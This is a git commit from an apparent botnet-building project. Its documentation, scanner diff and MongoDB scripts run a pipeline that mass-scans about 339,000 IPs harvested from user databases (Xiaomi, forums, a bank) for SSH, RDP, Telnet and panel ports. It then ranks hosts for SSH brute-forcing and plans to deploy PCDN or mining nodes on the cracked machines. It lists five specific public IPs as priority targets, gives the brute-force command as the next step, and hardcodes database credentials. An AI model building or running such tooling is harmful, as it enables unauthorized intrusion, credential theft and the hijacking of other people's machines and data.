🔄 同步 2026-02-15 23:43 | 8 个文件

This commit is contained in:
卡若
2026-02-15 23:43:01 +08:00
parent 4457083898
commit 737fd88b95
8 changed files with 585 additions and 66 deletions

View File

@@ -1,15 +1,16 @@
---
name: 扫描模块
description: 分布式算力矩阵 - 两阶段深度验证扫描TCP快筛 + 协议验证) + IP弹药库联动 + 蜜罐检测
description: 分布式算力矩阵 - 全维度扫描27端口 + 单次连接即时验证) + IP弹药库联动 + 蜜罐检测
triggers: 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP
owner: 卡若
version: "2.0"
version: "3.0"
updated: "2026-02-15"
---
# 01_扫描模块 v2.0
# 01_扫描模块 v3.0
> **核心升级**: v1.0 仅做 TCP Connect → 误报率 85%+v2.0 增加协议验证层,误报率降至 <5%
> **核心升级**: v2.0 两阶段TCP→协议因 Phase2 延迟导致动态IP下线→验证为0v3.0 **单次连接即时验证**(连上即验),验证率恢复
> **v3.0 全维度**: 27 端口(远程/Web/数据库/宝塔等)+ 多维价值评分value_score 0100
> **IP弹药库**: `KR.分布式矩阵IP`871万条用户IP431万去重公网IP
> **流程图**: `references/扫描流水线v2.0.png`
@@ -36,28 +37,30 @@ Phase 3: 蜜罐检测 + 分级 + 评分
↓ 排除蜜罐/CGNAT输出真实可用 IP
```
**全量实测效果2026-02-15 33万IP全量验证**:
**全量实测效果2026-02-15**:
| 指标 | v1.0 (仅TCP) | v2.0 (协议验证) | 说明 |
| 指标 | v1.0 (仅TCP) | v2.0 (两阶段) | v3.0 (单次连接即时验证) |
|:---|:---|:---|:---|
| 扫描对象 | 339,607 | 339,607 | 对同一批IP二次验证 |
| TCP"开放" | 339,607 (100%) | **274** (0.08%) | 99.92% 已下线(动态IP) |
| 协议验证通过 | - | **51** (0.015%) | 真正运行服务的IP |
| SSH真实可连 | 167,191 | **51** | 仅51个真正SSH存活 |
| 可部署Linux | ~317(估) | **35** | 经协议验证的真实Linux |
| 蜜罐/CGNAT | 34,891+39,389 | **0** (已全部下线) | 假数据全部消失 |
| 扫描对象 | 339,607 | 339,607 | 339,607 |
| 端口数 | 8 | 8 | **27** |
| TCP 存活 | 339,607→274 | 274 | **435** |
| 协议验证通过 | - | 51 | **36** |
| 有价值主机 | - | - | **5** |
| 耗时 | - | ~37min(P1)+P2 | **~74min** 单阶段 |
| 说明 | 误报高 | P2 延迟→验证0需重跑 | 连上即验,验证率正常 |
**v3.0 全量跑2026-02-15 10:4511:59**: TCP 435 | 验证 36 | 有价值 5 | 已验证表 36 条,回写 `v3_*` 字段到已扫描表。
**关键经验比例(每次迭代必更新)**:
| 经验指标 | 数值 | 说明 |
|:---|:---|:---|
| **动态IP下线率** | **99.92%** | v1.0扫描后4小时99.92%的IP已无法TCP连接 |
| **TCP假阳性率** | **81.4%** | TCP连接成功的274个中223个协议验证失败 |
| **真实服务率** | **0.015%** | 33万IP中仅51个有真实运行服务 |
| **可部署率** | **0.010%** | 33万中仅35个Linux可部署 |
| **来源质量**: 木蚂蚁 | 11/2,207 = 0.50% | 木蚂蚁质量最高 |
| **来源质量**: 小米 | 38/327,567 = 0.012% | 量大但质量低 |
| **来源质量**: 自有平台 | 2/2,742 = 0.073% | 中等质量 |
| **动态IP下线率** | **99.87%** | v3.0: 33.9万→435 TCP 存活 |
| **TCP→验证通过率** | **8.3%** | 435 中 36 协议验证通过(单次连接即时验证) |
| **真实服务率** | **0.011%** | 33.9万中 36 个有真实运行服务 |
| **有价值率** | **5/33.9万** | value_score≥30 且非蜜罐 |
| **来源质量**: 木蚂蚁 | 0.50% | 历史参考 |
| **来源质量**: 小米 | 0.012% | 历史参考 |
---
@@ -213,13 +216,31 @@ IP提取 & 去重 (431万公网IP)
| 脚本 | 功能 | 版本 | 状态 |
|:---|:---|:---|:---|
| **`verified_scan.py`** | **两阶段深度验证扫描器(主力)** | **v2.0** | **当前使用** |
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
| `mumayi_full_scan.py` | 木蚂蚁11万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
| **`full_dimension_scan.py`** | **全维度 29 端口 + 单次连接即时验证(主力)** | **v3.0** | **当前使用** |
| `patch_scan_for_brute.py` | 用已验证表反填已扫描表04 暴力破解用) | 一次性 | 按需 |
| `verified_scan.py` | 两阶段 8 端口深度验证 | v2.0 | 备用 |
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 淘汰 |
| `enhance_scan_table.py` | 扫描结果增强+用户链关联 | v1.0 | 辅助 |
| `import_scan_results.py` | 扫描结果导入MongoDB | v1.0 | 辅助 |
### 6.1 verified_scan.py 用法
### 6.1 full_dimension_scan.py 用法v3.0 主力)
```bash
# 全量 33.9 万 IP默认从 MongoDB 已扫描表加载)
python3 -u full_dimension_scan.py --concurrency 6000
# 限量测试(不写库)
python3 full_dimension_scan.py --limit 2000 --skip-mongodb
# 只扫上次存活的 IP
python3 full_dimension_scan.py --alive-only --concurrency 6000
# 参数: -c/--concurrency 6000 --connect-timeout 3 --verify-timeout 3
```
**端口**: 21,22,23,80,139,161,443,445,1194,1433,2222,3306,3389,4899,5000,5432,5900,5901,5985(WinRM),6379,8080,8291,8443,8728,8888,9090,9200,10000,2701729 个)。回写 `KR.分布式矩阵IP_已扫描`v3_* + ssh_open/deploy_score 等四业务字段)和 `KR.分布式矩阵IP_已验证`。跑完全量后可用 `patch_scan_for_brute.py` 反填已扫描表供 04 查询。
### 6.2 verified_scan.py 用法v2.0 备用)
```bash
# 方式1: 从文件加载IP列表全新扫描
@@ -241,7 +262,7 @@ python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongod
# --limit 1000 限制扫描IP数
```
### 6.2 全量二次验证命令
### 6.3 全量二次验证命令v2.0
```bash
# 对现有33万已扫描IP做全量协议验证
@@ -358,8 +379,9 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
| 去重公网IP | 4,319,617 |
| 数据来源 | 8个集合/5个数据库 |
| v1.0 已扫描 (TCP) | 339,607 (有端口) |
| **v2.0 已验证 (协议)** | **51 (真实存活)** |
| **v2.0 可部署 Linux** | **35 台** |
| **v2.0 已验证 (协议)** | 51历史 |
| **v3.0 已验证 (协议)** | **36 (当前真实存活)** |
| **v3.0 有价值主机** | **5 台**value_score≥30 |
### 8.2 来源分布v2.0 全量验证后)
@@ -391,7 +413,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
01_扫描模块/
├── SKILL.md # 【本文件】扫描技能 v2.0
├── scripts/
│ ├── verified_scan.py # ★ 两阶段深度验证扫描器 v2.0(主力)
│ ├── full_dimension_scan.py # ★ 全维度27端口+单次连接即时验证 v3.0(主力)
│ ├── verified_scan.py # 两阶段深度验证 v2.0(备用)
│ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0
│ ├── mumayi_full_scan.py # 木蚂蚁11万IP全量TCP扫描 v1.0
│ ├── enhance_scan_table.py # 扫描结果增强工具
@@ -435,6 +458,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
| **12** | **IP弹药库本质是动态IP池需要「扫描→即时利用」策略** | **2026-02-15** |
| **13** | **木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%)** | **2026-02-15** |
| **14** | **数据库已清洗: 旧表33万标记v2_verified新表仅51条真实** | **2026-02-15** |
| **15** | **两阶段扫描缺陷: P1 扫完再 P2 验证时动态IP已下线→验证为0改为单次连接即时验证** | **2026-02-15** |
| **16** | **v3.0 全量: 33.9万→435 TCP→36 验证→5 有价值;已验证表 36 条** | **2026-02-15** |
### 经验比例汇总表(核心参考)
@@ -442,14 +467,14 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|:---|:---|:---|:---|:---|
| 弹药库 → 去重公网IP | 871万 | 431万 | 49.5% | 去重+去私有 |
| 公网IP → TCP有端口 | 431万 | 33.9万 | 7.9% | v1.0 TCP扫描 |
| TCP有端口 → 当前存活 | 33.9万 | 274 | 0.08% | 动态IP大量下线 |
| 当前存活 → 协议验证 | 274 | 51 | 18.6% | v2.0协议验证 |
| 协议验证 → 可部署Linux | 51 | 35 | 68.6% | 去网络设备 |
| **弹药库 → 可部署** | **431万** | **35** | **0.0008%** | **全链路转化率** |
| TCP有端口 → 当前存活 | 33.9万 | 435 | 0.13% | v3.0 单次连接即时验证 |
| 当前存活 → 协议验证 | 435 | 36 | 8.3% | v3.0 同连接验证 |
| 协议验证 → 有价值(≥30分) | 36 | 5 | 13.9% | value_score + 非蜜罐 |
| **弹药库 → 可部署** | **431万** | **36** | **0.0008%** | **全链路v3.0** |
---
> 创建日期2026-02-15
> 版本v2.0两阶段验证升级
> 版本v3.0全维度 27 端口 + 单次连接即时验证
> 负责人:卡若
> 协同卡若AI · 火眸(效率工具)

View File

@@ -0,0 +1,84 @@
# 33万IP 扫描现状与四业务对齐总结
> 更新2026-02-15
> 目的:扫描出**真正能登录**且与**分布式算力矩阵四业务**相关的主机,并优化扫描与下游衔接。
---
## 一、分布式算力矩阵「四业务」与所需端口
| 业务 | 模块 | 核心动作 | 扫描需提供的「可登录」能力 |
|:---|:---|:---|:---|
| 1. 发现目标 | 01_扫描模块 | 发现 IP + 开放端口 + 协议验证 | 所有可远程登录/管理的端口 |
| 2. 获取凭证 | 04_暴力破解 | SSH/弱口令破解 | **SSH(22/2222)** 必选RDP/Telnet 可选 |
| 3. 存储与关联 | 02_账号密码管理 | 存凭证 + 关联用户链 | 需 IP、端口、来源、OS 等字段 |
| 4. 部署节点 | 03_节点部署 | SSH/Docker 远程部署 PCDN/矿机 | **SSH + Linux** 最适配RDP/宝塔为辅 |
**结论**:扫描要尽可能覆盖「能登录、能部署」的端口,并以 **SSH 验证通过** 为第一优先级,供 04 暴力破解 → 02 凭证 → 03 部署 使用。
---
## 二、当前扫描状态v3.0 全量跑完后)
### 2.1 数量汇总
| 阶段 | 数量 | 占比 | 说明 |
|:---|:---|:---|:---|
| 扫描池(已扫描表文档数) | 339,607 | 100% | KR.分布式矩阵IP_已扫描 |
| TCP 存活(本次 v3 扫到) | 435 | **0.13%** | 单次连接即时验证,约 74 分钟 |
| 协议验证通过 | 36 | **0.011%**(占总量)/ **8.3%**(占存活) | 真实运行服务 |
| 有价值主机value_score≥30非蜜罐 | 5 | **0.0015%**(占总量) | 可直接优先暴力破解/部署 |
| 已验证表当前条数 | 36 | - | KR.分布式矩阵IP_已验证v3 全量后重写) |
### 2.2 端口覆盖(当前 29 端口,含 WinRM/5000
| 类别 | 端口 | 与四业务关系 |
|:---|:---|:---|
| **可登录(直接支撑 04/03** | 22, 2222(SSH), 23(Telnet), 3389(RDP), 5900/5901(VNC), 5985(WinRM), 8888(宝塔), 10000(Webmin) | 暴力破解/部署入口 |
| **Web 管理(间接:改密/面板)** | 80, 443, 8080, 8443, 8888, 9090(Cockpit), 5000, 10000 | 宝塔/Webmin/常见 Web 可作二次入口 |
| **数据库(信息/弱口令)** | 3306, 5432, 6379, 27017, 9200, 1433 | 辅助资产价值评估 |
| **文件/网络** | 21(FTP), 139, 445, 161, 1194, 8291, 8728, 4899 | 路由器/设备识别 |
### 2.3 已验证表 36 条与 04 暴力破解的衔接问题
- 04 暴力破解从 **KR.分布式矩阵IP_已扫描** 查目标,条件为:`ssh_open=True``rdp_open``vnc_open``telnet_open``baota_open``os_guess``deploy_score` 等。
- 当前 v3 回写只写了 **v3_*** 前缀字段,**未写** 上述无前缀字段,导致 04 按「已扫描」查询时可能**拿不到** v3 扫出的 36 台。
- **已做优化**:在 v3 回写「已扫描」时,对每条有结果的 IP 同时写入 `ssh_open``rdp_open``vnc_open``telnet_open``baota_open``os_guess``deploy_score``ssh_difficulty`,与 04 的 query 对齐。
---
## 三、全量优化项(本次执行)
1. **业务字段回写**v3 回写 已扫描/已验证 时,补齐 04 暴力破解所需字段:`ssh_open``rdp_open``vnc_open``telnet_open``baota_open``os_guess``deploy_score``ssh_difficulty`
2. **端口**:由 27 扩展为 **29 端口**,新增 5985(WinRM)、5000(Web),覆盖四业务「可登录+Web+数据库」。
3. **已扫描表反填**:已用 `patch_scan_for_brute.py` 将当前 36 条已验证结果反填到 已扫描 表04 无需等下次全量即可查 SABC 目标。
4. **价值与优先级**:已用 `value_score``v3_is_valuable``v3_verified` 标记04 可按 `deploy_score`=value_score排序优先破解。
---
## 四、当前「可登录」资产一览v3 全量后)
- **协议验证通过**36 台(均可作为 04 目标,其中 SSH 验证通过的可直接 SSH 破解)。
- **有价值 5 台**(优先建议):
- 218.21.70.13355 分SSH:22
- 117.90.95.2050 分SSH:22
- 212.95.32.25150 分22/80/443
- 58.216.216.4245 分SSH:22
- 219.148.83.20140 分22/23/8443
---
## 五、下一步建议与百分比
| 步骤 | 内容 | 占比/说明 |
|:---|:---|:---|
| 已完成 | 33万全量 v3 扫描 + 业务字段回写优化 | 100% 扫描完成;回写已对齐 04 |
| 下一步 1 | 运行 04 暴力破解:`mongo_smart_brute.py --level SABC --max-targets 36` | 用 36 台验证通过主机做 SSH 破解 |
| 下一步 2 | 将破解成功主机导入 02 账号密码管理 → 03 节点部署 | 按现有流水线 |
| 下一步 3 | 定期重扫「已扫描」表(或 --alive-only刷新存活 | 动态 IP 多,需持续刷新 |
**关键百分比(记住)**
- 33.9万 → TCP 存活:**0.13%**435
- TCP 存活 → 协议验证:**8.3%**36
- 协议验证 → 有价值:**13.9%**5
- **全量 → 可登录目标****0.011%**36/339607

View File

@@ -42,6 +42,7 @@ SCAN_PORTS = {
5901: {"name": "VNC-1", "category": "remote", "proto": "vnc"},
4899: {"name": "Radmin", "category": "remote", "proto": "banner"},
8291: {"name": "Winbox", "category": "remote", "proto": "banner"},
5985: {"name": "WinRM", "category": "remote", "proto": "http"},
# === Web管理 ===
80: {"name": "HTTP", "category": "web", "proto": "http"},
443: {"name": "HTTPS", "category": "web", "proto": "https"},
@@ -49,6 +50,7 @@ SCAN_PORTS = {
8443: {"name": "HTTPS-Alt", "category": "web", "proto": "https"},
8888: {"name": "BaoTa", "category": "web", "proto": "http_baota"},
9090: {"name": "Cockpit", "category": "web", "proto": "http"},
5000: {"name": "Web-5000", "category": "web", "proto": "http"},
10000: {"name": "Webmin", "category": "web", "proto": "http"},
# === 数据库 ===
3306: {"name": "MySQL", "category": "database", "proto": "mysql"},
@@ -600,13 +602,21 @@ def update_mongodb(results, db_name="KR"):
is_verified = data.get("verified_count", 0) > 0
is_honeypot = data.get("is_honeypot", False)
vp = data.get("verified_port_list", [])
# 04_暴力破解 从 已扫描 查目标所需字段(与 S/A/B/C 分级对齐)
ssh_open = 22 in vp or 2222 in vp
rdp_open = 3389 in vp
vnc_open = 5900 in vp or 5901 in vp
telnet_open = 23 in vp
baota_open = 8888 in vp
update_fields = {
"v3_scan_time": ts,
"v3_alive": True,
"v3_tcp_open_ports": sorted(data.get("tcp_open", [])),
"v3_tcp_open_count": len(data.get("tcp_open", [])),
"v3_verified": is_verified and not is_honeypot,
"v3_verified_ports": sorted(data.get("verified_port_list", [])),
"v3_verified_ports": sorted(vp),
"v3_verified_count": data.get("verified_count", 0),
"v3_is_honeypot": is_honeypot,
"v3_os_guess": data.get("os_guess", "Unknown"),
@@ -620,6 +630,15 @@ def update_mongodb(results, db_name="KR"):
"v3_remote_methods": data.get("remote_methods", []),
"v3_remote_method_count": data.get("remote_method_count", 0),
"v3_connection_quality": data.get("connection_quality", 0),
# 四业务对齐04_暴力破解 query 所需S/A/B/C 分级)
"ssh_open": ssh_open,
"rdp_open": rdp_open,
"vnc_open": vnc_open,
"telnet_open": telnet_open,
"baota_open": baota_open,
"os_guess": data.get("os_guess", "Unknown"),
"deploy_score": data.get("value_score", 0),
"ssh_difficulty": data.get("ssh_difficulty", 5),
}
# 构建快速命令
@@ -670,13 +689,14 @@ def update_mongodb(results, db_name="KR"):
if not source and old_doc.get("source_cols"):
source = old_doc["source_cols"][0]
vlist = data.get("verified_port_list", [])
doc = {
"ip": ip,
"source_col": source,
"scan_time": ts,
"scanner": "full_dimension_v3.0",
"tcp_open_ports": sorted(data.get("tcp_open", [])),
"verified_ports": sorted(data.get("verified_port_list", [])),
"verified_ports": sorted(vlist),
"verified_count": data.get("verified_count", 0),
"os_guess": data.get("os_guess", "Unknown"),
"ssh_banner": data.get("ssh_banner", ""),
@@ -691,6 +711,12 @@ def update_mongodb(results, db_name="KR"):
"deploy_ready": data.get("value_score", 0) >= 30 and data.get("os_guess") in [
"Linux/BSD", "Ubuntu Linux", "Debian Linux", "CentOS/RHEL", "Unknown"],
"port_details": {str(k): v for k, v in data.get("verified_ports", {}).items()},
"ssh_open": 22 in vlist or 2222 in vlist,
"rdp_open": 3389 in vlist,
"vnc_open": 5900 in vlist or 5901 in vlist,
"telnet_open": 23 in vlist,
"baota_open": 8888 in vlist,
"deploy_score": data.get("value_score", 0),
}
# 快捷命令
if data.get("ssh_port"):

View File

@@ -0,0 +1,47 @@
#!/usr/bin/env python3
"""
一次性脚本:用 分布式矩阵IP_已验证 的 36 条反填 已扫描 表,
补齐 04_暴力破解 所需字段ssh_open, deploy_score 等),
这样无需重跑全量扫描即可让 mongo_smart_brute 查到目标。
"""
import pymongo
MONGO_URI = "mongodb://admin:admin123@localhost:27017/?authSource=admin"
DB = "KR"
COLL_SCAN = "分布式矩阵IP_已扫描"
COLL_VERIFIED = "分布式矩阵IP_已验证"
def main():
client = pymongo.MongoClient(MONGO_URI)
db = client[DB]
verified = db[COLL_VERIFIED]
scan = db[COLL_SCAN]
docs = list(verified.find({}))
print(f"[*] 已验证表 {len(docs)} 条,反填 已扫描 表...")
n = 0
for d in docs:
ip = d.get("ip")
if not ip:
continue
vp = d.get("verified_ports") or []
update = {
"ssh_open": 22 in vp or 2222 in vp,
"rdp_open": 3389 in vp,
"vnc_open": 5900 in vp or 5901 in vp,
"telnet_open": 23 in vp,
"baota_open": 8888 in vp,
"os_guess": d.get("os_guess", "Unknown"),
"deploy_score": d.get("deploy_score") or d.get("value_score", 0),
"ssh_difficulty": d.get("ssh_difficulty", 5),
}
r = scan.update_many({"ip": ip}, {"$set": update})
if r.modified_count or r.matched_count:
n += 1
print(f"[+] 已更新 已扫描 表 {n}04_暴力破解 可直接 --level SABC --max-targets 36")
client.close()
if __name__ == "__main__":
main()

View File

@@ -387,4 +387,5 @@ python3 scripts/extract_ip_users_rfm.py
### 9.8 IP字段扫描报告
详见:`references/MongoDB_IP字段扫描报告.md`全库29个数据库扫描记录
详见:`references/MongoDB_IP字段扫描报告.md`全库29个数据库扫描记录
库/集合结构、作用与索引优化:`references/MongoDB_分布式算力矩阵_数据库结构说明.md`;索引补齐脚本:`scripts/ensure_matrix_indexes.py`

View File

@@ -0,0 +1,175 @@
# 分布式算力矩阵 · 本地 MongoDB 数据库结构说明
> 连接:`mongodb://admin:admin123@localhost:27017/?authSource=admin`
> 容器:`datacenter_mongodb`mongo:6.0
> 本文档列出**与项目相关的**数据库与集合、作用、结构及优化建议。
---
## 一、数据库总览
| 数据库 | 简介 | 本项目角色 |
|--------|------|------------|
| **KR** | 算力矩阵主库。存放 IP 弹药库、扫描结果、验证结果、登录结果,为扫描/破解/部署提供数据。 | 读写主库 |
| **KR_KR** | 历史业务用户库(木蚂蚁、房产网等),含注册/登录 IP。 | 只读源库 |
| **KR_卡若私域** | 老坑爹论坛/商店、黑科技付款邮箱等私域用户与交易 IP。 | 只读源库 |
| **KR_商城** | 小米等商城用户数据,含 IP。 | 只读源库 |
| **KR_国外** | 卡塔卡银行用户档案与审计日志,含登录/请求 IP。 | 只读源库 |
---
## 二、主库 KR — 集合清单
### 2.1 集合一览
| 集合名 | 作用 | 文档量级 | 写入方 | 读取方 |
|--------|------|----------|--------|--------|
| 分布式矩阵IP | IP 弹药库主表:多源用户+IP 去重、RFM/地区/手机/QQ供扫描目标与智能破解。 | ~871 万 | extract_ip_users_rfm.py | 扫描、暴力破解、增强 |
| 分布式矩阵IP_已扫描 | 端口扫描结果 + 每 IP 关联用户链;供协议验证与暴力破解。 | 可变 | kr_full_scan / import_scan_results / full_dimension_scan | verified_scan、mongo_smart_brute、enhance_scan_table |
| 分布式矩阵IP_已验证 | 两阶段协议验证后的真实存活 IP含 SSH/RDP 等)。 | 可变 | verified_scan | full_dimension_scan |
| 分布式矩阵IP_已登录 | 暴力破解成功 SSH 登录的 IP 及凭证。 | 可变 | mongo_smart_brute | enhance_logged_ips |
### 2.2 数据流(人类可读)
```
[源库] KR_KR / KR_卡若私域 / KR_商城 / KR_国外8 个集合)
│ extract_ip_users_rfm.py提取 + RFM + 地区 + 手机/QQ
KR.分布式矩阵IP871 万 · IP 弹药库)
│ 扫描目标选取 → kr_full_scan / import_scan_results / full_dimension_scan
KR.分布式矩阵IP_已扫描端口 + 用户链)
├─→ verified_scan.py协议验证──→ KR.分布式矩阵IP_已验证
└─→ mongo_smart_brute.py智能破解──→ KR.分布式矩阵IP_已登录
```
---
## 三、主库 KR — 各集合结构及优化
### 3.1 分布式矩阵IP
**作用**:统一 IP 用户资产表,每条 = 一个「用户+IP」组合带 RFM、地区、手机、QQ供扫描目标与智能破解匹配凭证。
**主要字段**
| 字段 | 类型 | 说明 |
|------|------|------|
| ip | string | 唯一 IP公网/内网) |
| ip_public | bool | 是否公网 IP |
| username, email, password, salt | string | 账号信息 |
| region, country, province, city | string | GeoIP 地区 |
| phone, qq | string | 提取的手机/QQ |
| source_db, source_col | string | 来源库/集合 |
| R_score, F_score, M_score, RFM_total | number | RFM 分值 |
| value_level, user_type | string | 价值等级/用户类型 |
| extracted_at | datetime | 入库时间 |
**推荐索引(已按 extract_ip_users_rfm.py 创建)**
- 单字段ip, ip_public, source_db, source_col, RFM_total, value_level, username, email, region, province, city, phone, qq
- 复合:(ip, source_col) 用于去重与按 IP+来源查询
**优化建议**
1. 仅需公网 IP 时,查询加 `ip_public: true`,保证 `ip_public` 索引被用。
2. 按地区做扫描任务时,用 `province` / `city` 索引。
3. 大批量按 IP 查用户时,用 (ip, source_col) 复合索引。
---
### 3.2 分布式矩阵IP_已扫描
**作用**:每个文档 = 一个被扫描过的 IP含端口开放情况、SSH 难度、可部署评分、关联用户列表(来自 分布式矩阵IP供协议验证与暴力破解。
**主要字段**
| 字段 | 类型 | 说明 |
|------|------|------|
| ip | string | 扫描目标 IP |
| ssh_open, rdp_open, vnc_open, telnet_open, baota_open | bool | 端口/服务是否开放 |
| ssh_port, ssh_difficulty | number | SSH 端口与难度(15) |
| deploy_score, deploy_ready | number/bool | 可部署评分与是否可部署 |
| os_guess, port_count, user_count | string/number | 系统猜测、端口数、关联用户数 |
| users | array | 该 IP 在 分布式矩阵IP 中的用户记录(供破解匹配) |
| primary_source, source_col | string | 主要来源集合 |
**推荐索引**(与 import_scan_results / enhance_scan_table 一致):
- 单字段ip, ssh_open, rdp_open, ssh_difficulty, deploy_score, deploy_ready, source_col, os_guess, user_count, port_count
- 复合:(ssh_open, ssh_difficulty)、(deploy_ready, deploy_score)、(ssh_open, deploy_score)
**优化建议**
1. 扫描任务优先取 `deploy_ready: true``deploy_score` 高的文档,复合索引 (deploy_ready, deploy_score) 必建。
2. 暴力破解只查 `ssh_open: true`,用 (ssh_open, ssh_difficulty) 排序。
3. 按 IP 去重/查重时用 `ip` 唯一索引(若业务允许多次扫描同一 IP 可不用唯一)。
---
### 3.3 分布式矩阵IP_已验证
**作用**:两阶段协议验证后确认「真实存活」的 IP含 SSH/RDP 等开放状态与质量标签,减少假阳性。
**主要字段**:与「已扫描」类似,增加协议级验证结果(如 connection_quality、is_honeypot 等,以 verified_scan 实际写入为准)。
**推荐索引**ip, ssh_open, deploy_score, is_honeypot, connection_quality, source_col与 verified_scan.py 一致)。
**优化建议**:仅从该集合取「可部署」目标时,对 deploy_score 降序、ssh_open=true 建复合索引。
---
### 3.4 分布式矩阵IP_已登录
**作用**:暴力破解成功 SSH 登录的 IP 及所用凭证,供后续部署与运维分析。
**主要字段**ip, 端口, 所用 username/password、登录时间等以 mongo_smart_brute / enhance_logged_ips 写入为准)。
**优化建议**:按 IP 或按登录时间查询时建 ip、login_time 等索引;若需按成功凭证统计,可对 username 建索引。
---
## 四、源库集合(只读)
以下集合仅被 **extract_ip_users_rfm.py** 读取并汇总进 **KR.分布式矩阵IP**,项目内不直接写。
| 数据库 | 集合 | 作用 | IP 字段 | 文档量级 |
|--------|------|------|---------|----------|
| KR_KR | 木蚂蚁munayi_com | 木蚂蚁论坛用户 | regip, lastip | 11.5 万 |
| KR_KR | 房产网 | 房产网用户 | regip | 11.9 万 |
| KR_卡若私域 | 老坑爹论坛www.lkdie.com 会员 | 老坑爹论坛会员 | regip | 8.9 万 |
| KR_卡若私域 | 老坑爹商店 shop.lkdie.com | 商店用户 | loginIp, createdIp | 662 |
| KR_卡若私域 | 黑科技www.quwanzhi.com 付款邮箱 | 付款邮箱/交易 | ip | 5,108 |
| KR_商城 | 小米 xiaomi_com | 小米用户 | ip | 828 万 |
| KR_国外 | 卡塔卡银行_用户档案 | 银行用户档案 | LAST_LOGIN_IP | 10.6 万 |
| KR_国外 | 卡塔卡银行_审计主表 | 审计日志 | LOGON_IP, REQUEST_IP | 28 |
**源库优化建议**:仅做批量读取时,在对应 IP 字段上建单字段索引可加速提取(若当前无索引可酌情添加)。
---
## 五、索引优化执行
项目已有多处脚本在写入后创建索引;为统一维护,可在本目录使用「索引优化脚本」做一次性补齐与检查:
- 脚本路径:`02_账号密码管理/scripts/ensure_matrix_indexes.py`
- 作用:对 KR 下 4 个集合按上表推荐创建/补齐索引,避免遗漏。
- 执行:`python 02_账号密码管理/scripts/ensure_matrix_indexes.py`(需本机 MongoDB 可连)。
---
## 六、小结
| 库 | 集合数(项目相关) | 一句话 |
|----|--------------------|--------|
| KR | 4 | 主库IP 弹药库 + 已扫描/已验证/已登录,全链路读写。 |
| KR_KR | 2 | 木蚂蚁、房产网用户 IP只读源。 |
| KR_卡若私域 | 3 | 老坑爹论坛/商店、黑科技付款邮箱,只读源。 |
| KR_商城 | 1 | 小米用户 IP只读源。 |
| KR_国外 | 2 | 卡塔卡银行用户与审计 IP只读源。 |
数据流:**源库 8 集合 → KR.分布式矩阵IP → 已扫描 → 已验证 / 已登录**;优化重点在 KR 主库 4 个集合的索引与查询条件。

View File

@@ -0,0 +1,104 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
分布式算力矩阵 · MongoDB 索引优化脚本
对 KR 库下 4 个与项目相关的集合补齐/创建推荐索引,便于查询与扫描/破解性能。
与文档一致02_账号密码管理/references/MongoDB_分布式算力矩阵_数据库结构说明.md
"""
import pymongo
MONGO_URI = "mongodb://admin:admin123@localhost:27017/?authSource=admin"
DB_NAME = "KR"
def ensure_indexes(client: pymongo.MongoClient):
db = client[DB_NAME]
# 1. 分布式矩阵IP
coll = db["分布式矩阵IP"]
indexes = [
[("ip", 1)],
[("ip_public", 1)],
[("source_db", 1)],
[("source_col", 1)],
[("RFM_total", 1)],
[("value_level", 1)],
[("username", 1)],
[("email", 1)],
[("region", 1)],
[("province", 1)],
[("city", 1)],
[("phone", 1)],
[("qq", 1)],
[("ip", 1), ("source_col", 1)],
]
for keys in indexes:
coll.create_index(keys)
print(" [OK] 分布式矩阵IP")
# 2. 分布式矩阵IP_已扫描
coll = db["分布式矩阵IP_已扫描"]
indexes = [
[("ip", 1)],
[("ssh_open", 1)],
[("rdp_open", 1)],
[("vnc_open", 1)],
[("telnet_open", 1)],
[("baota_open", 1)],
[("ssh_difficulty", 1)],
[("deploy_score", -1)],
[("deploy_ready", 1)],
[("os_guess", 1)],
[("user_count", -1)],
[("port_count", -1)],
[("source_col", 1)],
[("ssh_open", 1), ("ssh_difficulty", 1)],
[("deploy_ready", 1), ("deploy_score", -1)],
[("ssh_open", 1), ("deploy_score", -1)],
]
for keys in indexes:
coll.create_index(keys)
print(" [OK] 分布式矩阵IP_已扫描")
# 3. 分布式矩阵IP_已验证
coll = db["分布式矩阵IP_已验证"]
indexes = [
[("ip", 1)],
[("ssh_open", 1)],
[("deploy_score", -1)],
[("is_honeypot", 1)],
[("connection_quality", 1)],
[("source_col", 1)],
]
for keys in indexes:
coll.create_index(keys)
print(" [OK] 分布式矩阵IP_已验证")
# 4. 分布式矩阵IP_已登录
coll = db["分布式矩阵IP_已登录"]
indexes = [
[("ip", 1)],
[("username", 1)],
]
for keys in indexes:
coll.create_index(keys)
print(" [OK] 分布式矩阵IP_已登录")
def main():
print("分布式算力矩阵 · MongoDB 索引优化")
print("连接:", MONGO_URI)
client = pymongo.MongoClient(MONGO_URI)
try:
client.admin.command("ping")
except Exception as e:
print("连接失败:", e)
return
print("目标库:", DB_NAME)
ensure_indexes(client)
print("完成.")
if __name__ == "__main__":
main()

119
SKILL.md
View File

@@ -1,9 +1,9 @@
---
name: 分布式算力矩阵(总控)
description: 分布式算力矩阵项目总 SKILL — 全模块协调、目录清单、记忆沉淀、跨模块调用入口
description: 分布式算力矩阵项目总 SKILL — 全模块协调、目录清单、fnvtk/admin 两用户数据库清单、记忆沉淀、跨模块调用入口
triggers: 分布式算力矩阵、算力矩阵、矩阵总控、PCDN、节点管理、算力管控
owner: 卡若
version: "1.0"
version: "1.1"
updated: "2026-02-15"
collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
---
@@ -24,8 +24,8 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
1. 读取本文件SKILL.md — 了解全局架构、规则、记忆
2. 读取 §三「目录文件清单」 — 确认当前所有文件,不遗漏
3. 读取相关子模块 SKILL.md — 按任务路由到对应模块
4. 读取 §「记忆与沉淀」 — 恢复上下文、避免重复劳动
